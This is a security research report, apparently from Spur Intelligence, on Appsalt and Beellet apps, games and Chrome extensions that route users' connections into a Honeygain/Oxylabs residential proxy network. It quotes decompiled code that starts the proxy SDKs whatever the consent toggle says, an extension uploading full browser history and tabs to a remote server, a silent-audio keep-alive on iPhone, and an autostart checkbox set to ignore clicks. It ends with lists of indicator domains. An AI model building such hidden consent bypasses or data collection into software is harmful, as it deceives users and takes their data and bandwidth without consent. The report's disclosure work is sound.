The “Indie Studio” That Sells Your IP and Reads Your Browser History

Appsalt describes itself as “a small indie studio based in Europe.” It makes free things: a train simulator, a farm game, a spin-the-wheel game for couples, a picture-in-picture extension for Chrome.

None of them are really free. This is the story of what they cost, and of whose network they turned out to be feeding.

The Switch That Doesn’t Switch Off

It started with a free movie app.

Cinema HQ is the kind of app that lives in Firestick install guides and GitHub release pages: free movies and free TV. Apps like that have to make money somehow, so we pulled it apart to see how.

The app is upfront about part of it. Its settings screen has a toggle called Share Resources, and turning it on enrolls your device in a residential proxy network. What caught our attention was what happens when you turn it off:

if (userConsented) {
    Appsalt.optIn();
    Appsalt.start();
    EarnFM.storeConsent("grant");
    EarnFM.start();
    Hopmn.setConsent(true);
} else {
    Appsalt.optIn();
    Appsalt.start();
    EarnFM.storeConsent("grant");
    EarnFM.start();
    Hopmn.setConsent(false);
}

Spot the difference. Either way, the app opts you in to Appsalt’s SDK and starts it, and starts a second proxy SDK, EarnFM, with a consent grant written into the code. The switch only decides whether a third, Hopmn, runs.

A Small Indie Studio Based in Europe

Appsalt offers a “Monetization SDK” for app developers who would rather not show ads. The pitch is simple: your users have “unused network bandwidth and IP,” and Appsalt will pay you for it. It also runs an App Acquisition program that buys other developers’ apps outright. Remember that one.

The SDK’s terms of service are surprisingly frank about what users sign up for:

Behind the website is Beellet, UAB, a company registered in Vilnius, Lithuania. Beellet signs Appsalt’s Windows software, holds its Apple developer account, and publishes its Chrome extensions. The extensions are where things got strange.

One of them, a Picture-in-Picture Extension, started out as something else. Version 0.2.0, the one we downloaded from the Chrome Web Store on October 21, doesn’t proxy anything. Its code collects the browser’s entire history, every open tab and every page as it loads, and sends them to a server at api[.]ujrsdk[.]com. Each upload looks like this:

POST https://api.ujrsdk[.]com/api/v1/log

{
  "uid": "…",
  "full-history": [{ "title": "…", "url": "…", "ts": … }, …],
  "full-tabs": [{ "title": "…", "url": "…", "active": true, … }, …],
  "tab": [{ "title": "…", "url": "…", "ts": … }],
  "io": […]
}

The io field comes from a separate script injected into web pages, which scrapes ChatGPT conversations and Google search results, down to the AI Overview text. The extension never asks permission and has no setting to turn any of this off.

The only off switch is a disabled flag in a config file the extension downloads from the same server, so the only people who can turn it off are the ones collecting the data. None of this appears in Appsalt’s privacy policy.

Three others, MP3 Cut, Google Search Console Enhancer and TeraBox Link Saver, carry a browser-based proxy that fetches web requests on someone else’s behalf through the user’s browser. MP3 Cut sets its consent flag to “yes” the moment it’s installed, then opens a tab asking for consent. Close the tab without answering, and the proxy stays on. The extension’s own analytics have a name for this: consent_granted_implicit.

Meanwhile, Picture-in-Picture didn’t stay a history collector. On October 23, two days after we downloaded it, it was updated to version 0.4.0. The history collection is gone, and api[.]ujrsdk[.]com now answers with a 404. In its place is a browser proxy called “Node Pointer SDK,” which connects to the same server as these three and, like MP3 Cut, switches its consent flag on before asking.

Buy the App, Keep the Users

We’ve written before about monetization SDKs turning “that free puzzle game you downloaded” into a proxy. The slow part of that business is getting the free puzzle game onto millions of phones. Appsalt’s acquisition program skips it.

One of the apps now on Appsalt’s App Store page is Couples Game, a spin-the-wheel party game. Its copyright line says “© Appsalad Inc.,” which looked like a typo until we found AppSalad Inc., a Delaware company whose website says “We sell, acquire, scale, and exit mobile apps.” It runs a marketplace called apptoyou.io. Its listing for Couples Game was marked sold:

For $7,000, Beellet got an app with nearly 29,000 past downloads and an update channel to every one of them. The first update under its new owner arrived in March 2026, with release notes that read: “Minor bug fixing and free version improvements.” That update contained Appsalt’s SDK, and it reached anyone who still had the game installed the same way any other update would.

The Sound of Silence

A proxy SDK on an iPhone has a problem. iOS suspends apps shortly after they leave the screen, and a suspended app can’t relay anyone’s traffic. To be useful, the app has to stay awake.

We downloaded all 12 iPhone apps on Appsalt’s App Store page, and every one of them ships its SDK. Only one, Shade, an app-blocker, has a feature that could justify running in the background. It blocks apps based on location. But that permission arrived late. Shade 1.5, released in August 2025, had no Appsalt code and no background location access. Version 1.6.4, in November, added both at once: Appsalt’s framework and permission to run in the background for location updates. (Its App Store privacy policy still links to lockios.app, a domain that no longer exists.)

The other 11, including Bullet Train Driving and Couples Game, have no such feature. Every one of them declares the background audio mode instead, the one Apple reserves for music players and podcast apps.

So we went looking for the music. In Couples Game, we found exactly one audible sound, a short notification chime. And next to it, a file called 2-seconds-of-silence.mp3.

It is, as advertised, silent:

$ ffmpeg -i 2-seconds-of-silence.mp3 -af volumedetect -f null -
mean_volume: -91.0 dB
max_volume: -84.3 dB

$ ffprobe 2-seconds-of-silence.mp3
TAG:title=2 Seconds of Silence
TAG:artist=Anar Software LLC
TAG:album=Blank Audio

It also isn’t Appsalt’s. The file has the same SHA-256 hash as 2-seconds-of-silence.mp3 in anars/blank-audio, a public GitHub repo of blank audio clips, ID3 tags and all. The other ten ship the same file, renamed Silence.mp3.

Those ten are all Unity games, and we found the code that plays the file in Appsalt’s Unity SDK, recovered from the company’s desktop games. All ten iPhone builds contain the same classes. It does one thing, and only on iPhone: when the app is sent to the background, it starts looping silence.

// Appsalt Unity SDK, BackgroundAudioActivator.cs, decompiled
private void OnApplicationPause(bool isPaused) {
    if (isPaused) {
        StartNativeBackgroundMusicIfNeeded("OnApplicationPause(true)");
    ...
public const string DefaultTrackId = "silence";
new IosBackgroundMusicTrackDefinition("silence", "Audio/Silence.mp3", loop: true)
// no consent check anywhere in the class

Looping silent audio to keep an app alive is an old iOS trick, and Apple has been turning it away for years. It rejected the clipboard app Pastebot for exactly this in 2010. In 2015, Facebook’s iOS app drained batteries with a silent audio session that kept running in the background; Facebook called it a bug and removed background audio from the app.

Apple’s rules spell it out. Guideline 2.5.4 says background services may only be used “for their intended purposes”; Apple’s documentation defines the audio mode as “The app plays audible content in the background”, and guideline 2.4.2 bars apps from running “unrelated background processes, such as cryptocurrency mining”.

Here’s the part we didn’t expect. The trick isn’t something a lazy developer improvised. Appsalt’s own iOS integration guide recommends it:

“Depending on your application’s use case, you can enable “Location Updates” or “Audio, AirPlay and Picture in Picture” background modes, so that your application and the SDK would be performant while in background. … Logic for audio playback or location updates usage has to be implemented by application’s developer for extended runtime in background mode to be allocated by the iOS.”

None of the 12 apps’ App Privacy labels mention network or bandwidth sharing. Three of them, Monster Strike Arena, StrikeZone Ops, and Panda Snack Rush, declare “Data Not Collected” while shipping the proxy SDK and the silent track.

Full Steam Ahead

Appsalt’s games don’t stop at phones. Itch.io is an open storefront where independent developers sell or give away games, mostly small projects from solo creators and hobbyists. Appsalt has a page there offering three free desktop games, and all three ship the proxy: a Windows DLL signed by Beellet, and a Mac library signed with Beellet’s Apple-issued Developer ID. The silent MP3 is in there too, along with the iPhone-only code that plays it, as if the same project gets built for every platform. The two Mac games on Appsalt’s App Store page, Wattverse and Farm Story Life, are the same games.

Decline the consent screen and the proxy never starts. But the games are built to keep running after the player is done. On both Windows and Mac, they take over the window’s close button, so closing the game tucks it into the system tray or menu bar, where it keeps running. In Farm Story Life, even the menu option labeled “Quit to desktop” hides the game instead of quitting. Wattverse’s own analytics only count a quit from the tray icon as service_disabled.

The consent screen also has a “Start with my computer” checkbox, checked by default. Keeping it checked registers the game to launch, hidden in the tray, every time the computer starts. In Farm Story Life you can untick the box. Goofy Strike lets you, but first asks “TURN OFF AUTOSTART?” and warns that you can change it later “only in your system’s startup settings.” In Wattverse you can’t untick it at all, because the checkbox is set to ignore clicks:

Toggle autostart = new Toggle("Start with my computer") { value = true };
autostart.pickingMode = PickingMode.Ignore;

Apple’s Mac App Store rules say apps “may not auto-launch or have other code run automatically at startup or login without consent nor spawn processes that continue to run without consent after a user has quit the app”. The App Store versions run inside Apple’s sandbox, which may keep the login item from taking effect there; we haven’t tested it on a Mac. The Windows versions have no such limit: agreeing adds the game to Windows’ list of programs to run at login.

The itch.io page for one of them, Wattverse, assures players that “No generative AI was used.” Google’s SynthID detector says the banner image was “made or edited with OpenAI.”

On October 27, 2026, while we were writing this, Wattverse and Farm Story Life went live on Steam as free-to-play games, with a third, Magic Fusion, listed as coming soon. Neither store page mentions an SDK, bandwidth sharing, or proxying. Valve’s rules prohibit “Applications that modify customers’ computers in unexpected or harmful ways.” SteamDB’s file listings for both games (Farm Story Life & Wattverse) confirm the Steam versions are the same builds as the ones on itch.io: the same Appsalt libraries, with matching sizes and hashes, plus the silent MP3, the tray, and the autostart. The Mac versions on Steam aren’t even apps. They’re the disk images from itch.io, dropped into the download as-is.

It didn’t take long for players to notice. A day after Wattverse launched, its most helpful review on Steam read simply: “Front to hijack your internet traffic.”

Inside the Hive

The Mac version of the SDK turned out to be the easiest to read. It’s written in Swift, the symbols are intact, and the proxy engine inside has a name: qwift.
The design is what you’d expect from a residential proxy. A server tells the device where to connect, and the device relays the bytes. The server can also hand the device a new set of servers at any time, and push it a list of IP ranges to avoid. In return, the device reports on itself:

message Pong {
  network_type; signal_strength;
  is_plugged; battery_level; is_roaming; is_idle; is_metered;
}

Proxy SDKs commonly use signals like these to hold back, for example, pausing traffic when a phone is on battery, roaming, or on a metered connection, so the owner is less likely to notice a drained battery or a bigger data bill. Each device is tracked by an ID the SDK keeps in the Keychain, which on an iPhone survives deleting and reinstalling the app.

One detail matters to anyone trying to block this. The SDK doesn’t ask the device’s own DNS where its servers are. It sends the lookup to Cloudflare’s DNS-over-HTTPS service as an ordinary web request, so a Pi-hole or a company’s DNS filter never sees it, and blocking Appsalt’s domains there does little. The other versions carry the same Cloudflare address, or Google’s equivalent.

Two Names, One Colony

Appsalt’s developer portal is open to anyone, so we signed up. The dashboard handed us official SDK packages for 12 platforms: Android, iOS, tvOS, macOS, Windows, Linux, Unity, Flutter, Electron, and the smart TV platforms Tizen and webOS. In June, we found proxy SDKs in nearly half of LG’s smart TV apps; Appsalt is ready for those TVs too.

And somewhere in the Android package, we found the line that changed the story. It’s a helpful message for developers who forget to add a dependency:

Missing %1$s dependency, add %1$s dependency to your project
check installation guide for instructions
https://developers.honeygain.com/docs/integration-guides/android#installation

That’s not Appsalt’s installation guide. It’s Honeygain’s.

Honeygain is a Lithuanian company best known for paying people to share their internet connection, and it also licenses an SDK to app developers. Once we knew to look, it was everywhere.

The example app in Appsalt’s Flutter package is called com.appsalt.hgSdkExample, and “hgSdk” is Honeygain’s own name for its SDK. Appsalt’s Android code and Honeygain’s contain the same classes at the same paths, with only the company name changed:

com/honeygain/vobler/lib/sdk/quic/signature/LegacyRsaSignatureAdapter   # Honeygain
com/appsalt/lib/sdk/quic/signature/LegacyRsaSignatureAdapter            # Appsalt

On Windows, Appsalt’s DLL is the same codebase as Honeygain’s, which we’d already found signed “Honeygain, UAB” inside another Beellet app. The DLL also records where it was built. Appsalt’s Windows and Linux libraries carry the path of the project they were compiled from:

C:\builds\hg\apps\rust-quic-sdk\
/builds/hg/apps/rust-quic-sdk/

builds is where GitLab’s build servers check out code. The project sits in a group called hg. Honeygain’s developer docs point to a demo game, Amazetris, as an example of an app “which uses Honeygain SDK”. Its proxy library was built in that same group:

/builds/hg/apps/sdk-cpp/

Beellet’s older Android games never bothered with the Appsalt name at all; they shipped the Honeygain SDK as is.

Then we compared the documentation. Appsalt’s developer docs and Honeygain’s are the same site with the names swapped. Six pages are identical word for word, including the legal requirements (Honeygain’s) and a leftover page from the documentation template that neither company ever deleted. The iOS guides differ only in the SDK’s class name. That includes the background-mode advice: Honeygain’s iOS guide recommends the same trick, in the same words.

Finally, the servers. We looked up Appsalt’s proxy domains and Honeygain’s side by side, and they came back with the same addresses. On October 28, 2026, Honeygain’s beezlepongmad[.]com and Appsalt’s rapslpotik[.]com resolved to the same 20 IP addresses:

$ dig +short beezlepongmad[.]com | sort > honeygain.txt
$ dig +short rapslpotik[.]com | sort > appsalt.txt
$ wc -l < appsalt.txt
20
$ diff honeygain.txt appsalt.txt && echo identical
identical

Other pairs overlap too. The addresses behind Honeygain’s beepityping[.]com showed up under Appsalt’s velocapslpium[.]com, though those two pools rotate. Public records don’t tell us whether Appsalt is a Honeygain brand or a reseller, but the code, the docs, and the servers all lead back to Honeygain.

Follow the Honey

Honeygain UAB is a subsidiary of Oxylabs, one of the largest commercial proxy providers. When we asked Oxylabs about Honeygain SDK apps on smart TVs earlier this year, the company told us that only approved applications distributed through its Honeygain SDK Partnership Program are eligible for inclusion in its proxy network. Appsalt’s devices connect to Honeygain’s servers, which puts them in that pool. Install a free movie app or a party game Appsalt bought for $7,000, and your connection can end up carrying traffic for Oxylabs’ customers.

That pool is enormous. In Spur’s data from October 28, 2026, 8.3 million IP addresses were tagged as Oxylabs exits, and nearly 11 million distinct IPs over our tracking window, more than any other residential proxy service we track. India and Brazil alone account for more than a third. Spur tracks Honeygain-sourced exits as part of Oxylabs, so we can’t separate Appsalt’s devices from the rest of the pool.

Zero Tolerance

In August 2025, Honeygain published a Statement on Third-Party Misuse after one of its partners broke the rules. It promised “zero tolerance for hidden installs” and a strengthened “periodic audit of all existing SDK partners.”
On paper, the standard is high. The legal requirements page from earlier says apps must tell users that the SDK “allows Appsalt to create exit nodes through end users devices,” get explicit consent through an “I accept” pop-up before it runs, and keep an opt-out available “easily and at all times.” They also make a promise:

“We test each application manually before and after Appsalt SDK is integrated and check if it meets our requirements.”

This appears to not be reflected in our analysis. Cinema HQ’s off switch turns Appsalt on. The iPhone keep-alive runs whether or not the user agrees to anything. No App Privacy label we saw mentions bandwidth or IP sharing. A Chrome extension grants its own consent. And in Sea Block 1010, a Beellet puzzle game on Android, declining the Honeygain disclosure leads to a second screen asking “Agree to see Ads?” Its “Play with no Ads” button turns the proxy on, exactly like “Agree” does, and that second screen never mentions Honeygain, IP addresses, or bandwidth. We also observed that many of the apps Appsalt promises to test by hand are indeed its own.

The Reality

Proxy service providers have an incentive to maintain the largest pool possible. This is often achieved by leveraging partners and sub entities to effectively target and capture audiences of millions. The objective of growing as large as possible is challenged by desires to source and maintain these networks as ethically as possible. Different providers, and indeed different entities within providers or their partners, prioritize this in their own way.

It is no doubt difficult to ensure that pools of millions of devices are sourced ethically, especially when collated from partners. Some providers make token gestures, some invest genuine resources into this, while others simply don’t care.

Spur Intelligence conducts research to identify where ethical sourcing hasn’t been applied, and the consumer may be misled, regardless of whether that was the intent of the proxy provider or not.

Responses

We contacted Oxylabs, the ultimate proxy service provider beneficiary, to comment on the findings. Oxylabs responded with the following:

"Maintaining a network of this size with a broad range of third-party developers is complex, and we invest heavily in getting it right. We audit our developer partners regularly, and if a partner seriously breaches its obligations to us, for example by faking a consent signal, we cut ties as soon as we find out. Our goal is to shorten the time between a partner breaking its obligations and us finding out, and ideally to prevent such cases altogether. We’re continuously strengthening these controls. Where a partner circumvents our SDK safeguards, that should be treated like any other vulnerability disclosure. To that end, we will launch a dedicated proxy-sourcing abuse disclosure program with a paid bounty."

While Spur Intelligence does not seek to make judgments on any individual service providers, we do note that Oxylabs has willingly engaged in an open dialogue on raised issues.

Don’t Get Stung

If you use free streaming apps or cheap TV boxes, assume anything that doesn’t charge you is being paid for by someone. Check whether your IP shows up in proxy networks at haveibeenproxied.com.

If someone offers to buy your app, or to pay you per daily user for “unused bandwidth,” know what your users will get in the next update.

If you defend a network, the domains are below, but a DNS blocklist alone won’t stop these SDKs, because they look up their servers through DNS-over-HTTPS. Block the addresses those domains resolve to, or the public DNS-over-HTTPS services themselves. Traffic from these SDKs looks like ordinary residential users, because it is.

IOCs

Appsalt proxy hosts

capslpinch[.]com
chapslponic[.]com
clapslpist[.]com
clapslport[.]com
creapslpinut[.]com
dapslplidge[.]com
dapslpold[.]com
dapslpomin[.]com
fapslponiz[.]com
flapslpiple[.]com
gapslpinch[.]com
gapslponic[.]com
glorapslpitron[.]com
grinapslpocal[.]com
hapslpinion[.]com
hapslponaut[.]com
lapslponze[.]com
lorapslpifyx[.]com
mapslpiral[.]com
mapslponif[.]com
rapslpine[.]com
rapslponic[.]com
rapslpotik[.]com
sapslponge[.]com
scapslpiece[.]com
tapslpirsm[.]com
tapslponed[.]com
velocapslpium[.]com
wapslpintas[.]com
wapslponly[.]com
zenapslpinic[.]com
zerapslpomat[.]com

Appsalt WebSocket hosts and control channel

capslwsrun[.]com
clapslwsound[.]com
dapslwsdrift[.]com
flapslwsflight[.]com
flapslwstorm[.]com
gapslwsbor[.]com
hapslwschan[.]com
lapslwsfal[.]com
mapslwsguid[.]com
rapslwsweave[.]com
scapslwshell[.]com
trapslwsin[.]com
zorapslwsnic[.]com
connect[.]sdk[.]absolut[.]fit

Same infrastructure, not yet seen in samples

gripapslpiflex[.]com
zelapslpiscape[.]com
blorpington[.]com
cranpionix[.]com
flampirado[.]com
glimpizard[.]com
glipixander[.]com
gripilon[.]com
kolypix[.]com
molypiq[.]com
spirvoza[.]com
tripikazu[.]com
volypin[.]com
zolypit[.]com
zorpilant[.]com

Honeygain (hgsdk.dll)

beepityping[.]com
beezlepongmad[.]com
zingpingbees[.]com
zippypongbee[.]com

Chrome extension servers

api[.]ujrsdk[.]com
h[.]zoob[.]ai

Cinema HQ proxy infrastructure (Hopmn)

seed1[.]cinemahq[.]app
seed2[.]cinemahq[.]app
pubs[.]myrc[.]xyz

Chrome extension IDs

App Store apps

Steam app IDs

Android Package